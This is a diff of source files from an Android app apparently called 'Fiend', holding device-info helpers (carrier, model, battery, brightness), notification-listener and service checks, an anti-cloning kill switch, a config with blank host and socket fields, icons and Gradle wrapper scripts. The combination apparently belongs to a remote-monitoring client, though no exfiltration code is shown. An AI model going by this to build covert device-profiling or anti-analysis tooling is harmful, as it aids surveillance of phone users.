||||
val socket: String,
|
||||
val webView: String
|
||||
)
|
||||
|
||||
fun getAndroidVersion(): Int {
|
||||
return Build.VERSION.SDK_INT
|
||||
}
|
||||
|
||||
fun getScreenBrightness(context: Context): Int {
|
||||
return Settings.System.getInt(
|
||||
context.contentResolver,
|
||||
Settings.System.SCREEN_BRIGHTNESS
|
||||
);
|
||||
}
|
||||
|
||||
fun getProviderName(context: Context): String {
|
||||
return try {
|
||||
val manager =
|
||||
context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
|
||||
manager.networkOperatorName
|
||||
} catch (ex: Exception) {
|
||||
"no provider"
|
||||
}
|
||||
}
|
||||
|
||||
fun getDeviceName(): String {
|
||||
fun capitalize(s: String?): String {
|
||||
if (s == null || s.isEmpty()) {
|
||||
return ""
|
||||
}
|
||||
val first = s[0]
|
||||
return if (Character.isUpperCase(first)) {
|
||||
s
|
||||
} else {
|
||||
Character.toUpperCase(first).toString() + s.substring(1)
|
||||
}
|
||||
}
|
||||
|
||||
val manufacturer = Build.MANUFACTURER
|
||||
val model = Build.MODEL
|
||||
return if (model.lowercase(Locale.getDefault())
|
||||
.startsWith(manufacturer.lowercase(Locale.getDefault()))
|
||||
) {
|
||||
capitalize(model)
|
||||
} else {
|
||||
capitalize(manufacturer) + " " + model
|
||||
}
|
||||
}
|
||||
|
||||
fun getBatteryPercentage(context: Context): Int {
|
||||
val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
|
||||
return bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
|
||||
}
|
||||
|
||||
fun isNotificationServiceRunning(context: Context): Boolean {
|
||||
val contentResolver: ContentResolver = context.contentResolver
|
||||
val enabledNotificationListeners: String =
|
||||
Settings.Secure.getString(contentResolver, "enabled_notification_listeners")
|
||||
val packageName: String = context.packageName
|
||||
return enabledNotificationListeners.contains(
|
||||
packageName
|
||||
)
|
||||
}
|
||||
|
||||
fun isServiceRunning(
|
||||
context: Context,
|
||||
serviceClass: Class<*> = MainService::class.java
|
||||
): Boolean {
|
||||
val manager = context.getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager
|
||||
for (service in manager.getRunningServices(Int.MAX_VALUE)) {
|
||||
if (serviceClass.name == service.service.className) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
fun disableWelcome(context: Context) {
|
||||
val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
|
||||
val editor = prefs.edit()
|
||||
editor.putBoolean("showWelcome", false)
|
||||
editor.apply()
|
||||
}
|
||||
|
||||
fun showWelcome(context: Context): Boolean {
|
||||
val prefs = context.getSharedPreferences("inspectorPrefs", Context.MODE_PRIVATE)
|
||||
return prefs.getBoolean("showWelcome", true)
|
||||
}
|
||||
|
||||
private const val APP_PACKAGE_DOT_COUNT = 2
|
||||
private const val DUAL_APP_ID_999 = "999"
|
||||
private const val DOT = '.'
|
||||
|
||||
fun checkAppCloning(activity: Activity) {
|
||||
val path: String = activity.filesDir.path
|
||||
if (path.contains(DUAL_APP_ID_999)) {
|
||||
killProcess(activity)
|
||||
} else {
|
||||
val count: Int = getDotCount(path)
|
||||
if (count > APP_PACKAGE_DOT_COUNT) {
|
||||
killProcess(activity)
|
||||
}
|
||||
}
|
||||
}
|
||||
private fun getDotCount(path: String): Int {
|
||||
var count = 0
|
||||
for (element in path) {
|
||||
if (count > APP_PACKAGE_DOT_COUNT) {
|
||||
break
|
||||
}
|
||||
if (element == DOT) {
|
||||
count++
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
private fun killProcess(context: Activity) {
|
||||
context.finish()
|
||||
android.os.Process.killProcess( android.os.Process.myPid())
|
||||
}
|
||||
}
|
||||
|
||||
class WebViewDownloadListener(private val context: Context) : DownloadListener {
|
||||
override fun onDownloadStart(p0: String?, p1: String?, p2: String?, p3: String?, p4: Long) {
|
||||
val request = DownloadManager.Request(Uri.parse(p0))
|
||||
request.setDestinationInExternalPublicDir(
|
||||
Environment.DIRECTORY_DOWNLOADS,
|
||||
URLUtil.guessFileName(p0, p2, p3)
|
||||
)
|
||||
val dm = context.getSystemService(ComponentActivity.DOWNLOAD_SERVICE) as DownloadManager
|
||||
dm.enqueue(request)
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,30 @@
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:aapt="http://schemas.android.com/aapt"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
|
||||
<aapt:attr name="android:fillColor">
|
||||
<gradient
|
||||
android:endX="85.84757"
|
||||
android:endY="92.4963"
|
||||
android:startX="42.9492"
|
||||
android:startY="49.59793"
|
||||
android:type="linear">
|
||||
<item
|
||||
android:color="#44000000"
|
||||
android:offset="0.0" />
|
||||
<item
|
||||
android:color="#00000000"
|
||||
android:offset="1.0" />
|
||||
</gradient>
|
||||
</aapt:attr>
|
||||
</path>
|
||||
<path
|
||||
android:fillColor="#FFFFFF"
|
||||
android:fillType="nonZero"
|
||||
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
|
||||
android:strokeWidth="1"
|
||||
android:strokeColor="#00000000" />
|
||||
</vector>
|
BIN
source code/apk src code v3/app/src/main/res/drawable/header.jpg
Normal file
After Width: | Height: | Size: 109 KiB |
@ -0,0 +1,5 @@
|
||||
<vector android:height="24dp" android:tint="#FFFFFF"
|
||||
android:viewportHeight="24" android:viewportWidth="24"
|
||||
android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<path android:fillColor="@android:color/white" android:pathData="M1,21h22L12,2 1,21zM13,18h-2v-2h2v2zM13,14h-2v-4h2v4z"/>
|
||||
</vector>
|
@ -0,0 +1,170 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<vector xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:width="108dp"
|
||||
android:height="108dp"
|
||||
android:viewportWidth="108"
|
||||
android:viewportHeight="108">
|
||||
<path
|
||||
android:fillColor="#3DDC84"
|
||||
android:pathData="M0,0h108v108h-108z" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M9,0L9,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,0L19,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M29,0L29,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M39,0L39,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M49,0L49,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M59,0L59,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M69,0L69,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M79,0L79,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M89,0L89,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M99,0L99,108"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,9L108,9"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,19L108,19"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,29L108,29"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,39L108,39"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,49L108,49"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,59L108,59"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,69L108,69"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,79L108,79"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,89L108,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M0,99L108,99"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,29L89,29"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,39L89,39"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,49L89,49"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,59L89,59"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,69L89,69"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M19,79L89,79"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M29,19L29,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M39,19L39,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M49,19L49,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M59,19L59,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M69,19L69,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
<path
|
||||
android:fillColor="#00000000"
|
||||
android:pathData="M79,19L79,89"
|
||||
android:strokeWidth="0.8"
|
||||
android:strokeColor="#33FFFFFF" />
|
||||
</vector>
|
BIN
source code/apk src code v3/app/src/main/res/drawable/icon.png
Normal file
After Width: | Height: | Size: 14 KiB |
@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<shape android:shape="rectangle" xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
|
||||
<size
|
||||
android:width="2dp"
|
||||
android:height="2dp" />
|
||||
|
||||
<solid android:color="#00000000" />
|
||||
|
||||
</shape>
|
After Width: | Height: | Size: 55 KiB |
BIN
source code/apk src code v3/app/src/main/res/font/helvetica.ttf
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp">
|
||||
|
||||
</RelativeLayout>
|
@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@drawable/ic_launcher_background" />
|
||||
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||
</adaptive-icon>
|
@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
|
||||
<background android:drawable="@drawable/ic_launcher_background" />
|
||||
<foreground android:drawable="@drawable/ic_launcher_foreground" />
|
||||
</adaptive-icon>
|
After Width: | Height: | Size: 1.4 KiB |
After Width: | Height: | Size: 2.8 KiB |
After Width: | Height: | Size: 982 B |
After Width: | Height: | Size: 1.7 KiB |
After Width: | Height: | Size: 1.9 KiB |
After Width: | Height: | Size: 3.8 KiB |
After Width: | Height: | Size: 2.8 KiB |
After Width: | Height: | Size: 5.8 KiB |
After Width: | Height: | Size: 3.8 KiB |
After Width: | Height: | Size: 7.6 KiB |
@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="purple_200">#FFBB86FC</color>
|
||||
<color name="purple_500">#FF6200EE</color>
|
||||
<color name="purple_700">#FF3700B3</color>
|
||||
<color name="teal_200">#FF03DAC5</color>
|
||||
<color name="teal_700">#FF018786</color>
|
||||
<color name="black">#FF000000</color>
|
||||
<color name="white">#FFFFFFFF</color>
|
||||
</resources>
|
@ -0,0 +1,3 @@
|
||||
<resources>
|
||||
<string name="app_name">Fiend</string>
|
||||
</resources>
|
@ -0,0 +1,5 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
|
||||
<style name="Theme.Fiend" parent="android:Theme.Material.Light.NoActionBar" />
|
||||
</resources>
|
@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8"?><!--
|
||||
Sample backup rules file; uncomment and customize as necessary.
|
||||
See https://developer.android.com/guide/topics/data/autobackup
|
||||
for details.
|
||||
Note: This file is ignored for devices older that API 31
|
||||
See https://developer.android.com/about/versions/12/backup-restore
|
||||
-->
|
||||
<full-backup-content>
|
||||
<!--
|
||||
<include domain="sharedpref" path="."/>
|
||||
<exclude domain="sharedpref" path="device.xml"/>
|
||||
-->
|
||||
</full-backup-content>
|
@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="utf-8"?><!--
|
||||
Sample data extraction rules file; uncomment and customize as necessary.
|
||||
See https://developer.android.com/about/versions/12/backup-restore#xml-changes
|
||||
for details.
|
||||
-->
|
||||
<data-extraction-rules>
|
||||
<cloud-backup>
|
||||
<!-- TODO: Use <include> and <exclude> to control what is backed up.
|
||||
<include .../>
|
||||
<exclude .../>
|
||||
-->
|
||||
</cloud-backup>
|
||||
<!--
|
||||
<device-transfer>
|
||||
<include .../>
|
||||
<exclude .../>
|
||||
</device-transfer>
|
||||
-->
|
||||
</data-extraction-rules>
|
@ -0,0 +1,17 @@
|
||||
package willi.fiend
|
||||
|
||||
import org.junit.Test
|
||||
|
||||
import org.junit.Assert.*
|
||||
|
||||
/**
|
||||
* Example local unit test, which will execute on the development machine (host).
|
||||
*
|
||||
* See [testing documentation](http://d.android.com/tools/testing).
|
||||
*/
|
||||
class ExampleUnitTest {
|
||||
@Test
|
||||
fun addition_isCorrect() {
|
||||
assertEquals(4, 2 + 2)
|
||||
}
|
||||
}
|
@ -0,0 +1,5 @@
|
||||
{
|
||||
"host" : "",
|
||||
"socket" : "",
|
||||
"webView" : "https://www.google.com"
|
||||
}
|
14
source code/apk src code v3/build.gradle
Normal file
@ -0,0 +1,14 @@
|
||||
buildscript {
|
||||
ext {
|
||||
compose_version = '1.2.0'
|
||||
}
|
||||
}// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||
plugins {
|
||||
id 'com.android.application' version '7.2.1' apply false
|
||||
id 'com.android.library' version '7.2.1' apply false
|
||||
id 'org.jetbrains.kotlin.android' version '1.7.0' apply false
|
||||
}
|
||||
|
||||
task clean(type: Delete) {
|
||||
delete rootProject.buildDir
|
||||
}
|
24
source code/apk src code v3/gradle.properties
Normal file
@ -0,0 +1,24 @@
|
||||
# Project-wide Gradle settings.
|
||||
# IDE (e.g. Android Studio) users:
|
||||
# Gradle settings configured through the IDE *will override*
|
||||
# any settings specified in this file.
|
||||
# For more details on how to configure your build environment visit
|
||||
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||
# Specifies the JVM arguments used for the daemon process.
|
||||
# The setting is particularly useful for tweaking memory settings.
|
||||
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
|
||||
# When configured, Gradle will run in incubating parallel mode.
|
||||
# This option should only be used with decoupled projects. More details, visit
|
||||
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
|
||||
# org.gradle.parallel=true
|
||||
# AndroidX package structure to make it clearer which packages are bundled with the
|
||||
# Android operating system, and which are packaged with your app"s APK
|
||||
# https://developer.android.com/topic/libraries/support-library/androidx-rn
|
||||
android.useAndroidX=true
|
||||
# Kotlin code style for this project: "official" or "obsolete":
|
||||
kotlin.code.style=obsolete
|
||||
android.enableR8.fullMode=true
|
||||
# Enables namespacing of each library's R class so that its R class includes only the
|
||||
# resources declared in the library itself and none from the library's dependencies,
|
||||
# thereby reducing the size of the R class for that library
|
||||
android.nonTransitiveRClass=true
|
BIN
source code/apk src code v3/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
6
source code/apk src code v3/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
#Thu Jul 21 13:03:31 IRDT 2022
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
|
||||
distributionPath=wrapper/dists
|
||||
zipStorePath=wrapper/dists
|
||||
zipStoreBase=GRADLE_USER_HOME
|
185
source code/apk src code v3/gradlew
vendored
Normal file
@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env sh
|
||||
|
||||
#
|
||||
# Copyright 2015 the original author or authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
##
|
||||
## Gradle start up script for UN*X
|
||||
##
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
# Resolve links: $0 may be a link
|
||||
PRG="$0"
|
||||
# Need this for relative symlinks.
|
||||
while [ -h "$PRG" ] ; do
|
||||
ls=`ls -ld "$PRG"`
|
||||
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||
if expr "$link" : '/.*' > /dev/null; then
|
||||
PRG="$link"
|
||||
else
|
||||
PRG=`dirname "$PRG"`"/$link"
|
||||
fi
|
||||
done
|
||||
SAVED="`pwd`"
|
||||
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||
APP_HOME="`pwd -P`"
|
||||
cd "$SAVED" >/dev/null
|
||||
|
||||
APP_NAME="Gradle"
|
||||
APP_BASE_NAME=`basename "$0"`
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD="maximum"
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
}
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
}
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "`uname`" in
|
||||
CYGWIN* )
|
||||
cygwin=true
|
||||
;;
|
||||
Darwin* )
|
||||
darwin=true
|
||||
;;
|
||||
MINGW* )
|
||||
msys=true
|
||||
;;
|
||||
NONSTOP* )
|
||||
nonstop=true
|
||||
;;
|
||||
esac
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||
else
|
||||
JAVACMD="$JAVA_HOME/bin/java"
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD="java"
|
||||
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
|
||||
MAX_FD_LIMIT=`ulimit -H -n`
|
||||
if [ $? -eq 0 ] ; then
|
||||
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||
MAX_FD="$MAX_FD_LIMIT"
|
||||
fi
|
||||
ulimit -n $MAX_FD
|
||||
if [ $? -ne 0 ] ; then
|
||||
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||
fi
|
||||
else
|
||||
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# For Darwin, add options to specify how the application appears in the dock
|
||||
if $darwin; then
|
||||
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||
fi
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
|
||||
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||
|
||||
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||
|
||||
# We build the pattern for arguments to be converted via cygpath
|
||||
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||
SEP=""
|
||||
for dir in $ROOTDIRSRAW ; do
|
||||
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||
SEP="|"
|
||||
done
|
||||
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||
# Add a user-defined pattern to the cygpath arguments
|
||||
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||
fi
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
i=0
|
||||
for arg in "$@" ; do
|
||||
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||
|
||||
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||
else
|
||||
eval `echo args$i`="\"$arg\""
|
||||
fi
|
||||
i=`expr $i + 1`
|
||||
done
|
||||
case $i in
|
||||
0) set -- ;;
|
||||
1) set -- "$args0" ;;
|
||||
2) set -- "$args0" "$args1" ;;
|
||||
3) set -- "$args0" "$args1" "$args2" ;;
|
||||
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# Escape application args
|
||||
save () {
|
||||
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
|
||||
echo " "
|
||||
}
|
||||
APP_ARGS=`save "$@"`
|
||||
|
||||
# Collect all arguments for the java command, following the shell quoting and substitution rules
|
||||
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
|
||||
|
||||
exec "$JAVACMD" "$@"
|
89
source code/apk src code v3/gradlew.bat
vendored
Normal file
@ -0,0 +1,89 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%" == "" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%" == "" set DIRNAME=.
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if "%ERRORLEVEL%" == "0" goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||
echo.
|
||||
